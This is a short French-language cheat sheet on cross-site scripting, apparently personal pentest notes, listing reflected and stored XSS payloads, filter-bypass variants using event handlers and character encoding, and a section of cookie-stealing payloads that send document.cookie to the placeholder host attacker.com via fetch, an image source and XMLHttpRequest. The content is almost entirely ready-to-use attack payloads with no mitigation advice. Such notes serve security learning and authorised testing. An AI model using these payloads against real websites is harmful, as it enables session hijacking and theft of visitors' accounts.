Cross-Site Scripting (XSS)
2026-03-13#xss#web#javascript#exploitation
Objets JS utiles
| Objet | Description |
|---|---|
document.cookie | Cookies de session |
localStorage | Stockage local persistant |
sessionStorage | Stockage local de session |
XMLHttpRequest | Requêtes HTTP depuis le navigateur |
Reflected XSS
L'input est reflété immédiatement dans la réponse sans être stocké.
<!-- Via URL --> https://example.com/home?search=<script>alert('XSS')</script> <!-- Payloads de base --> <script>alert(1)</script> <h1 style="color:green;">TEST</h1> <!-- Vol de cookie --> <script>fetch('https://attacker.com/?c='+document.cookie)</script>
Stored XSS
L'input est stocké en base et exécuté à chaque visite de la page.
POST /index.php HTTP/1.1 Host: example.com Cookie: PHPSESSID=jl5kamgcplionfan0kkjhcujh3 Content-Type: application/x-www-form-urlencoded message=<script>alert(document.cookie)</script>
Contournement de filtres
<!-- Sans balise script --> <img src=x onerror="alert(1)"> <svg onload="alert(1)"> <body onload="alert(1)"> <!-- Encodage --> <script>alert(String.fromCharCode(88,83,83))</script>
Exfiltration de données
// Vol de cookie vers un serveur distant <script> new Image().src = 'https://attacker.com/?c=' + document.cookie; </script> // Via XMLHttpRequest <script> var x = new XMLHttpRequest(); x.open('GET', 'https://attacker.com/?c=' + document.cookie); x.send(); </script>